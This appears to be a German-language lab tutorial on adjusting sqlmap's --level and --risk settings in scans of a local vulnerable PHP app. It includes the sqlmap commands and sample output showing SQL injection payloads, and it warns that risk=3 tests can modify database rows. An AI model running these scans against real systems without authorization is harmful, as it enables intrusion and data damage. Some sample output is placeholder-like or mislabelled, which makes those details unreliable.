Scan-Aggressivität mit Level und Risk in sqlmap anpassen

Einleitung

sqlmap ist ein leistungsstarkes Open-Source-Penetration-Testing-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen automatisiert. Bei der Durchführung eines Scans sind zwei der wichtigsten Parameter, die Sie steuern können, --level und --risk. Diese Parameter bestimmen die Gründlichkeit und Aggressivität des Scans.

• Level: Steuert die Anzahl der durchzuführenden Tests. Es reicht von 1 bis 5, wobei höhere Level umfangreichere Tests an mehr Injektionspunkten (wie HTTP-Headern) durchführen.
• Risk: Steuert die Risikobereitschaft der verwendeten Payloads. Es reicht von 1 bis 3, wobei höhere Risiken potenziell störende Payloads verwenden (wie zeitbasierte Abfragen, die eine Datenbank verlangsamen können).

In diesem Lab lernen Sie, wie Sie diese beiden Parameter verwenden, um Ihre sqlmap-Scans fein abzustimmen. Sie beginnen mit einem Standardscan und erhöhen schrittweise das Level und das Risiko, um zu beobachten, wie sich dies auf den Umfang, die Dauer und die Art der verwendeten Payloads des Scans auswirkt.

Standard-Level (1) und Risk (1) verstehen

In diesem Schritt führen Sie einen grundlegenden sqlmap-Scan durch, ohne level oder risk anzugeben. Standardmäßig verwendet sqlmap --level=1 und --risk=1. Dies ist der am wenigsten umfassende und sicherste Scan.

Level 1 testet nur GET- und POST-Parameter. Risk 1 verwendet Payloads, die für eine Webanwendung im Allgemeinen harmlos sind, wie z. B. grundlegende boolesche und fehlerbasierte Injektionstests.

Lassen Sie uns den Standardscan gegen die für Sie eingerichtete anfällige Anwendung ausführen. Die Option --batch beantwortet alle Fragen automatisch mit der Standardauswahl, wodurch der Scan nicht-interaktiv wird.

Führen Sie den folgenden Befehl in Ihrem Terminal aus:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch

Sie werden sehen, wie sqlmap seinen Testprozess beginnt. Achten Sie auf die Zusammenfassung am Ende, die die Anzahl der gesendeten Anfragen und die gefundenen Schwachstellen anzeigt.

...
[INFO] testing 'Boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'Error-based - WHERE or HAVING clause'
[INFO] testing 'Time-based blind'
...
[INFO] GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of XXX HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2129=2129

    Type: error-based
    Title: SQLite OR error-based - CUME_DIST
    Payload: id=1 OR 1 GROUP BY CUME_DIST(1)

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind
    Payload: id=1 AND 7415=CASE WHEN (substr(sqli,1,1)='S') THEN 7415 ELSE 0 END
---
[INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'
...

Dieser erste Scan ist relativ schnell und bestätigt die Schwachstelle im id-Parameter.

Erhöhen Sie die Scan-Tiefe mit --level=3

In diesem Schritt erhöhen Sie die Tiefe des Scans, indem Sie das Level auf 3 setzen. Ein höheres Level weist sqlmap an, mehr Tests durchzuführen und zusätzliche Stellen auf Schwachstellen zu überprüfen.

• --level=2 fügt Tests für HTTP-Cookie-Header hinzu.
• --level=3 fügt Tests für HTTP-User-Agent- und Referer-Header hinzu.

Durch Erhöhung des Levels bitten Sie sqlmap, gründlicher zu sein. Dies erhöht natürlich die Anzahl der Anfragen und die Scan-Dauer.

Führen Sie nun den Scan erneut aus, aber fügen Sie diesmal die Option --level=3 hinzu:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --level=3 --batch

Beobachten Sie die Ausgabe. Sie werden feststellen, dass sqlmap nun explizit das Testen von Headern wie Cookie und User-Agent erwähnt.

...
[INFO] testing for SQL injection on GET parameter 'id'
...
[INFO] testing for SQL injection on HTTP Cookie header
...
[INFO] testing for SQL injection on HTTP User-Agent header
...
sqlmap identified the following injection point(s) with a total of YYY HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2129=2129
...
---
[INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'
...

Obwohl unsere einfache Anwendung über diese Header nicht anfällig ist, könnte eine reale Anwendung es sein. Sie sollten feststellen, dass die Gesamtzahl der HTTP-Anfragen (YYY) höher ist als im vorherigen Schritt (XXX).

Erhöhen Sie die Scan-Invasivität mit --risk=2

In diesem Schritt erkunden Sie den Parameter --risk. Dieser Parameter steuert die "Gefährlichkeit" der verwendeten Payloads.

• --risk=1 (Standard): Verwendet meist harmlose Payloads.
• --risk=2: Fügt intensive zeitbasierte Blind-Injection-Tests hinzu. Diese können eine erhebliche Belastung für den Datenbankserver darstellen.
• --risk=3: Fügt OR-basierte SQL-Injection-Tests und andere potenziell destruktive Payloads hinzu, die Daten ändern könnten.

Ein höheres Risiko kann Schwachstellen aufdecken, die sicherere Tests möglicherweise übersehen, erhöht aber auch die Wahrscheinlichkeit, das Zielsystem zu stören. Es sollte mit Vorsicht verwendet werden.

Lassen Sie uns einen Scan mit erhöhtem Risiko durchführen. Wir kehren zum Standard-Level (1) zurück, um die Auswirkung des Risk-Parameters zu isolieren.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --risk=2 --batch

Während dieses Scans werden Sie sehen, wie sqlmap aggressivere zeitbasierte Techniken einsetzt. Diese Payloads funktionieren, indem sie die Datenbank dazu bringen, eine zeitaufwändige Operation durchzuführen (wie eine Benchmark- oder Sleep-Funktion) und dann die Antwortzeit des Servers zu messen, um Informationen abzuleiten.

...
[INFO] testing 'Boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'Error-based - WHERE or HAVING clause'
[INFO] testing 'Time-based blind (heavy query)'
...
[INFO] GET parameter 'id' appears to be 'Time-based blind' injectable
...

Der Scan mit --risk=2 ist intensiver als der Standardscan, selbst bei gleichem Level, da die Payloads selbst komplexer sind.

Ausführen eines Scans, der --level=5 und --risk=3 kombiniert

In diesem Schritt kombinieren Sie die höchsten Level- und Risikoeinstellungen für den umfassendsten und aggressivsten Scan, der möglich ist.

• --level=5: Das höchste Level. Es testet alle möglichen Injektionspunkte, einschließlich des HTTP-Host-Headers.
• --risk=3: Das höchste Risiko. Es verwendet Payloads, die potenziell Datenbankeinträge ändern können. Dies ist gefährlich und sollte nur auf Systemen verwendet werden, für die Sie ausdrückliche Erlaubnis für destruktive Tests haben.

Diese Kombination führt zu einem sehr langen und intensiven Scan. Es ist der "Alles-reinwerfen"-Ansatz, bei dem jeder bekannte Test auf das Ziel angewendet wird.

Führen Sie den folgenden Befehl aus. Beachten Sie, dass dieser Scan erheblich länger dauern wird als die vorherigen.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --level=5 --risk=3 --batch

Sie werden sehen, wie sqlmap eine riesige Anzahl von Tests gegen jeden denkbaren Injektionspunkt mit seinen wirkungsvollsten Payloads durchführt.

...
[INFO] testing for SQL injection on GET parameter 'id'
...
[INFO] testing for SQL injection on HTTP Cookie header
...
[INFO] testing for SQL injection on HTTP User-Agent header
...
[INFO] testing for SQL injection on HTTP Referer header
...
[INFO] testing for SQL injection on HTTP Host header
...
[CRITICAL] OR-based injection tests might result in an update of all table rows. Continue? [y/N] y
...

Dieser Scan demonstriert die maximale Leistungsfähigkeit von sqlmap, hebt aber auch die Bedeutung des Verständnisses der Kompromisse hervor. Ein solcher Scan ist oft unpraktisch und zu riskant für Standard-Engagements.

Beobachten Sie die Zunahme von Payloads und Scan-Dauer

In diesem letzten Schritt reflektieren Sie die Ergebnisse der vorherigen Scans. Es gibt keine neuen Befehle auszuführen. Ziel ist es, die Auswirkungen der Anpassung von level und risk durch den Vergleich der Scan-Zusammenfassungen zu verstehen.

Wenn Sie die Terminalausgabe jedes Schritts überprüfen, werden Sie ein klares Muster feststellen:

1. Standard-Scan (--level=1, --risk=1): Die Basislinie. Er war schnell und sendete die wenigsten Anfragen.
2. Erhöhtes Level (--level=3): Die Anzahl der Anfragen stieg, da sqlmap mehr Injektionspunkte testete (Cookie, User-Agent). Die Dauer stieg entsprechend.
3. Erhöhtes Risiko (--risk=2): Die Scan-Dauer stieg, nicht unbedingt aufgrund von mehr Anfragen, sondern weil die zeitbasierten Payloads von Natur aus langsam sind.
4. Maximale Aggressivität (--level=5, --risk=3): Dieser Scan sendete eine deutlich größere Anzahl von Anfragen und dauerte mit deutlichem Abstand am längsten.

Hier ist eine Zusammenfassung des erwarteten Verhaltens:

Die wichtigste Erkenntnis ist, dass es einen direkten Kompromiss gibt. Die Erhöhung von level und risk ermöglicht gründlichere Tests und eine höhere Chance, obskure Schwachstellen zu finden, geht aber auf Kosten einer erheblich erhöhten Scan-Zeit und eines höheren Risikos, das Zielsystem zu stören.

Zusammenfassung

In diesem Lab haben Sie erfolgreich untersucht, wie die Aggressivität von sqlmap-Scans mithilfe der Parameter --level und --risk angepasst wird.

Sie haben gelernt, dass:

• --level den Umfang des Scans steuert und bestimmt, welche Teile einer HTTP-Anfrage auf Schwachstellen getestet werden. Höhere Level sind umfassender.
• --risk die Intrusivität des Scans steuert und die Arten von SQL-Payloads bestimmt, die verwendet werden. Höhere Risiken finden eher Schwachstellen, können aber für die Ziel-Datenbank gefährlich sein.
• Die Standardeinstellungen (level=1, risk=1) sind darauf ausgelegt, schnell und sicher zu sein.
• Die Erhöhung dieser Werte führt zu längeren Scan-Zeiten und erfordert mehr Vorsicht.

Als Best Practice sollten Sie immer mit niedrigeren level- und risk-Einstellungen beginnen. Eskalieren Sie diese nur, wenn anfängliche Scans erfolglos sind und Sie die entsprechende Berechtigung für aggressivere Tests haben. Herzlichen Glückwunsch zum Abschluss dieses Labs!